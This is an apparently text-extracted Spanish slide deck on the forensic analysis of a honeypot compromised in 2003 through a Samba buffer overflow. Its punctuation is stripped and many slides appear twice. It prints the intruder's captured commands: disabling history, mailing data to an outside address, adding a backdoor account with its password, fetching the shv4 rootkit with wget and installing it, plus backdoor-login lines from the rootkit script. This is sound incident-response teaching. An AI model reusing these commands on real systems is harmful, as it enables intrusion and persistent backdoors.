ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 8: Demostracion Hacking Honeypot y Análisis Forense

page 817062004

Diagrama de red

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router InternetADSL

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

